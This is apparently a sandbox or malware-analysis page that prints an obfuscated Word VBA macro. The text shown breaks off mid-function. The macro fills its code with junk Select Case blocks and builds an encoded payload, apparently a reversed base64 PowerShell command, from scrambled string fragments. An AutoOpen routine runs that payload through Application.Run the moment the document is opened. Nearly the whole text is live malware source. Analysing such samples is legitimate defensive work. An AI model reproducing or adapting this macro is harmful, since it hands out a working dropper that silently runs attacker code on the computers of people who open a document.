cOsdhrrB = fWkzK + BUSbw("9(AkBQOAMDAzAAOAEGAiBgNAQDA4AQMAADAiBQNAADA5AQZAUGAiBANAUGA5AAZAMGA2AgNAQGAmBAZAUGA2AAOAUGAyAgNAEDA3AQZAwHA9AQPAcHAOLFMJj)iD3KKI]QFUQ7", 19, 114)
Select Case vGmViC
Case 63553
GjwjfG = Fix(46874)
zMWDOB = Int(90407)
Case 46552
dwziU = BkVzb
ciZPV = ChrW(wvjnCb)
End Select
Select Case QYwdp
Case 4335
JzuRGD = Fix(17415)
GWTwUV = Int(75120)
Case 19831
wKsHB = fUUbr
HsplO = ChrW(ZzZzwE)
End Select
hFolEGZc = MImzbt + BUSbw("lT#(3UIGA4AgZAcDAiBAMAMDA2AANAUGAiBQNAEGAjBgMAQDAhBgNAEDAjBAZAcDA4AwMAMD1F#X7z]i[Xbu01OT3X.zCKjJ(V1wE7c", 32, 66)
Select Case QYwdp
Case 4335
JzuRGD = Fix(17415)
GWTwUV = Int(75120)
Case 19831
wKsHB = fUUbr
HsplO = ChrW(ZzZzwE)
End Select
Select Case cbWju
Case 88646
bNVVdJ = Fix(99144)
EXzsET = Int(5757)
Case 85162
EkwnPG = GpTwP
vzdlc = ChrW(mGovn)
End Select
sDjnOIbAYK = tkYzWB + BUSbw("ofS<43AMGA0AgYAcDAwAwNAIGAwAwNAADA2AgZAQDAwAQNAYDAzAgYAEDAwAQNAADA2AgMAgDAjBAMAYDA5AgNAEGA3AgZAUDAiBQOAkDAwAgNAIGAzAgNAMGA2AQOAMDAlBgMAADA0AQOAADA2AwNAIDA4AgMAIDAkBANAYDAxAQNE#O(5NJSIUiNqk].zzE", 20, 168)
Select Case cbWju
Case 88646
bNVVdJ = Fix(99144)
EXzsET = Int(5757)
Case 85162
EkwnPG = GpTwP
vzdlc = ChrW(mGovn)
End Select
Select Case RmAABd
Case 72398
ajdDU = Fix(19597)
zLKnQK = Int(3973)
Case 79616
aamzS = KVIsF
znJQwq = ChrW(tGKEr)
End Select
wCJXQYPuH = dLtzLD + BUSbw("5%[I[f[T]XXKwRp%uQDAwAgYAkDAiBgZAYDA5AgYAEGA4AQNAMDAjBANAYDA2AgNAIDA3AQOAgDA3AQOatFoT", 6, 63)
Select Case RmAABd
Case 72398
ajdDU = Fix(19597)
zLKnQK = Int(3973)
Case 79616
aamzS = KVIsF
znJQwq = ChrW(tGKEr)
End Select
Select Case zKiwVq
Case 66192
hotiq = Fix(52685)
jMcSaf = Int(73098)
Case 75987
alBio = IRLqvL
JRcak = ChrW(CMzjKm)
End Select
qLXBjI = QzfFIU + BUSbw("Q.4%Kzn[3AQYAIDAkBgMAMGAkBQNAgDAlBwMAUDAyAwMAIGAmBQOAIGAzAgZAcDAxAgYAIGA0AQOAYGA5AQZAQGA5AwMAQDAzAwYAEGA4AQOAkDAyAAOALKl%WoV#JiuTf7kc", 17, 109)
Select Case zKiwVq
Case 66192
hotiq = Fix(52685)
jMcSaf = Int(73098)
Case 75987
alBio = IRLqvL
JRcak = ChrW(CMzjKm)
End Select
Select Case NAvBKj
Case 76664
TTHqP = Fix(30984)
sSShS = Int(5058)
Case 48199
uIYMi = HIRUNj
fNuLd = ChrW(nPEoW)
End Select
IHjGQ = wIbzKN + BUSbw("wNk1<#SRKuo] BQOAIFAzBQWAkEAwBgeAADA6BQSAQEA4AwcAoFAMBwVAMDAwAwUAgEA8BgM5435a05061b3143240f3476111d29467'($ (ISNAcOlLaLABOLgotgNirtsERucEs::]LAHsFfR00KoXL", 10, 132)
Select Case NAvBKj
Case 76664
TTHqP = Fix(30984)
sSShS = Int(5058)
Case 48199
uIYMi = HIRUNj
fNuLd = ChrW(nPEoW)
End Select
Select Case BaIuwj
Case 60127
VnoBJ = Fix(81018)
MtVadd = Int(85955)
Case 35731
ACswi = qiiZn
sPurnO = ChrW(wnKhV)
End Select
ofswuHH = zrFXFD + BUSbw("JAZp.f.#GA0AQNAQDAlBwMAkDAlBgNAADAiBgYAn3UUpA%JwwK#T[kt", 17, 31)
Select Case BaIuwj
Case 60127
VnoBJ = Fix(81018)
MtVadd = Int(85955)
Case 35731
ACswi = qiiZn
sPurnO = ChrW(wnKhV)
End Select
TAtVMAPi = acQijvoiDNZkAD + ckwwwFI + qiLlNjOzVNjiJ + ChrW(34) + ruvoiqvw + LHwTDo + KIvsYKU + IHjGQ + cOsdhrrB + quANNZuZ + wWzBKEtzNjA + ilDAV + hFolEGZc + ofswuHH + Ezmfv + izojPWaWW + torvHzTzjvm + cKpwazFQ + nqMMLHIDrS + jjWVKcnq + wUIdb + AUilcJiJAj + zwcXoWFVA + GrCvmdtE + zGkCaNdG + YIjXLImp + sDjnOIbAYK + NTEQaiLznaf + wdDZmRz + PKTbLdGiJw + wCJXQYPuH + qLXBjI + GKOJnWcf + VAGPs + SREXDWipTK + mGnjOu + JVqjWZQNzw + jiCJzhNIK + JJHjAH + hTXjVNbOwNY + WrXzZNfn + GlouVVdFWil + VtiMpRIzQoE + Gkjjjac + tXCXVAXqml + HlzzURArJdF + IcnPTPmlIR + NoodUGviKvw + fjGjq + FRkwuc + vzazHpT + icvmss + SlzVZZ
Select Case WjCIT
Case 56400
jpPWWi = Fix(80151)
XqGps = Int(62191)
Case 66243
iTBVw = EXazd
wSwIHX = ChrW(GqmlN)
End Select
End Function
Sub AutoOpen()
On Error Resume Next
Select Case QXpRHb
Case 60028
rvWBBW = Fix(8200)
zhVRbc = Int(85860)
Case 65946
QYmMnU = zzhuHq
vjUzqO = ChrW(CEMzm)
End Select
Select Case jMMnf
Case 13375
rDsZDb = Fix(53425)
CoJnG = Int(66798)
Case 49161
HdCTcO = aPBvL
nuPANI = ChrW(rvvPmK)
End Select
Application.Run "GMmWGmUWHX", TAtVMAPi
Select Case PDKfp
Case 19057
FJdnBd = Fix(67774)
KCjQP = Int(29364)
Case 89025
mtahpL = mjSNEW
VFBHh = ChrW(mNMfIZ)
End Select
Select Case sjWulV
Case 18775
mPcpt = Fix(53542)
GjPivF = Int(64556)
Case 51013
IhJHZ = vYQapD
XcjMh = ChrW(qZRoIw)
End Select
Select Case cPidf
Case 21450
HmDLC = Fix(96118)
UDYTm = Int(73892)
Case 92876
muiYz = pqtBKT
funui = ChrW(CkYYKj)
End Select
End Sub
Attribute VB_Name = "WVtUWJKQcku"
Function qiLlNjOzVNjiJ()
On Error Resume Next
Select Case OvoOZ
Case 81192
BQXQt = Fix(55538)
OmlMr = Int(77410)
Case 920
LAdTHM = iZVqq
LKAwpi = ChrW(MYHzOq)
End Select
iqokt = Xhboa + BUSbw("J4j!X9TwE%DXXO70", 6, 1)
Select Case OvoOZ
Case 81192
BQXQt = Fix(55538)
OmlMr = Int(77410)
Case 920
LAdTHM = iZVqq
LKAwpi = ChrW(MYHzOq)
End Select
Select Case DNKAdo
Case 16159
tvNhR = Fix(80271)
wjiuaz = Int(56517)
Case 1872
BJHABE = LDZvjf
GubOq = ChrW(PhTQK)
End Select
XorijTz = oZiKZA + BUSbw("oA57]ozKMk.Iv!!%XHWUD47noXc!<NnQ.[)TmR)FkT]7]0", 27, 7)
Select Case DNKAdo
Case 16159
tvNhR = Fix(80271)
wjiuaz = Int(56517)
Case 1872
BJHABE = LDZvjf
GubOq = ChrW(PhTQK)
End Select
Select Case ANWzFL
Case 81024
jEcrG = Fix(39957)
kRLmiL = Int(45624)
Case 56770
Evwivo = LsLQZt
GRNWFk = ChrW(QRWju)
End Select
rjJJIrC = VMJvBaM + BUSbw("2)Ym0XFW%I !%skwNPBW%!!%Zcwinu4(X9%", 8, 18)
Select Case ANWzFL
Case 81024
jEcrG = Fix(39957)
kRLmiL = Int(45624)
Case 56770
Evwivo = LsLQZt
GRNWFk = ChrW(QRWju)
End Select
Select Case Wjivqs
Case 15588
IWZoh = Fix(32177)
hfFaD = Int(38194)
Case 66706
wfnTzw = jJVKP
DWBEER = ChrW(TtPFq)
End Select
IbToXLEdVmM = JJsTck + BUSbw("fX(%XHWUmRTBoONuzKOcIm7T", 16, 6)
Select Case Wjivqs
Case 15588
IWZoh = Fix(32177)
hfFaD = Int(38194)
Case 66706
wfnTzw = jJVKP
DWBEER = ChrW(TtPFq)
End Select
Select Case vMboPX
Case 50924
bPowT = Fix(72018)
nzaij = Int(72413)
Case 99086
qwqtHj = SzRFac
dHGUTd = ChrW(oUHfVw)
End Select
buqZL = wkXPDJ + BUSbw("7K)XqZZji4tQAPnT%!!%MRhRQRsY%4)X", 4, 18)
Select Case vMboPX
Case 50924
bPowT = Fix(72018)
nzaij = Int(72413)
Case 99086
qwqtHj = SzRFac
dHGUTd = ChrW(oUHfVw)
End Select
Select Case jPZzFv
Case 77685
tlSDmZ = Fix(29790)
iUvoXj = Int(27571)
Case 71820
QwUWQp = wKhKGw
vvOZqK = ChrW(TanYNN)
End Select
ZNBbdd = ounsvU + BUSbw(")ilOn.0TojTJ<4TERV7nOK.fn!EmUoK<", 16, 1)
Select Case jPZzFv
Case 77685
tlSDmZ = Fix(29790)
iUvoXj = Int(27571)
Case 71820
QwUWQp = wKhKGw
vvOZqK = ChrW(TanYNN)
End Select
Select Case fjoDwV
Case 83744
dMFTw = Fix(53760)
wlzlzj = Int(54183)
Case 78540
YAChi = PDmdTN
WJVKMT = ChrW(MuwWOI)
End Select
zVsSp = UQzBoR + BUSbw("XlEjISOnp=%msniPMizsfhcB[X%)NX", 7, 18)
Select Case fjoDwV
Case 83744
dMFTw = Fix(53760)
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.